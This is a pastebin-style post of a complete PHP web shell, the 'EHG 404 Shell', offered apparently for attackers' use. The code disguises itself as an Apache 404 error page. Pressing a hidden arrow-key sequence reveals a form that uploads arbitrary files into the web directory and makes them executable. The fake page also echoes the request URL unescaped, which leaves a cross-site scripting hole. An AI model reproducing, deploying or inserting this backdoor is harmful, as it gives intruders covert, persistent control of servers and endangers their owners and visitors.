EHG 404 Shell - Shells-Center.Com


SUBMITTED BY: Guest

DATE: Sept. 6, 2014, 7:07 a.m.

FORMAT: PHP

SIZE: 2.5 kB

HITS: 508

  1. <?php
  2. if(isset($_FILES["File"]))
  3. {
  4. define("DS",DIRECTORY_SEPARATOR);
  5. echo "<body style='background:#000;color:#66ff00'>";
  6. $Path=explode(DS,__FILE__);
  7. unset($Path[count($Path)-1]);
  8. $Path=implode(DS,$Path);
  9. $Path.=DS.$_FILES["File"]["name"];
  10. if ($_FILES["File"]["error"] > 0)
  11. {
  12. echo "Error: " . $_FILES["File"]["error"] . "<br />";
  13. }
  14. else if(move_uploaded_file($_FILES["File"]["tmp_name"],$Path))
  15. {
  16. echo "Stored in: " .$Path;
  17. @chmod($Path,0755);
  18. }
  19. echo "</body>";
  20. exit;
  21. }
  22. ?>
  23. <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
  24. <html><head>
  25. <title>404 Not Found</title>
  26. <script type="text/javascript" src="http://code.jquery.com/jquery-1.8.1.min.js"></script>
  27. <script type="text/javascript">
  28. $(document).ready(function(){
  29. var password="[left][right][left][right][up][down]";
  30. var passwordType="";
  31. $('body').keydown(function(e) {
  32. if(passwordType=="[END]"){return false;}
  33. switch(eval(e.which))
  34. {
  35. case 37:{
  36. passwordType+="[left]";
  37. break;
  38. }
  39. case 38:{
  40. passwordType+="[up]";
  41. break;
  42. }
  43. case 39:{
  44. passwordType+="[right]";
  45. break;
  46. }
  47. case 40:{
  48. passwordType+="[down]";
  49. break;
  50. }
  51. default:{
  52. passwordType+="";
  53. break;
  54. }
  55. }
  56. if(passwordType.indexOf(password)>=0)
  57. {
  58. passwordType="[END]";
  59. $("body").fadeOut(1000,function(){
  60. $("body").css({"background":"#000000","color":"#66 ff00"});
  61. $("body").fadeIn(1000,function(){
  62. $("body h1").fadeOut(500,function(){
  63. $("body h1").html("Welcome back, my Hacker !");
  64. $("body h1").fadeIn(500);
  65. $("body p").eq(0).fadeOut(500,function(){
  66. $(this).html("<form method='post' enctype='multipart/form-data'>Select file to upload: <input type='file' name='File'/><input type='submit'/>");
  67. $(this).fadeIn(500);
  68. $("title").html("EHGShell404");
  69. $("p").eq(1).html("");
  70. $("address").html("Develop by Joker Dark Knight !");
  71. });
  72. });
  73. });
  74. });
  75. }
  76. });
  77. });
  78. </script>
  79. </head><body>
  80. <h1>Not Found</h1>
  81. <p>The requested URL <?=$_SERVER['REQUEST_URI']?> was not found on this server.</p>
  82. <p>Additionally, a 404 Not Found
  83. error was encountered while trying to use an ErrorDocument to handle the request.</p>
  84. <hr>
  85. <address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_qos/9.74 mod_bwlimited/1.4 Server at <?=$_SERVER['SERVER_NAME']?> Port 80</address>
  86. </body></html>

comments powered by Disqus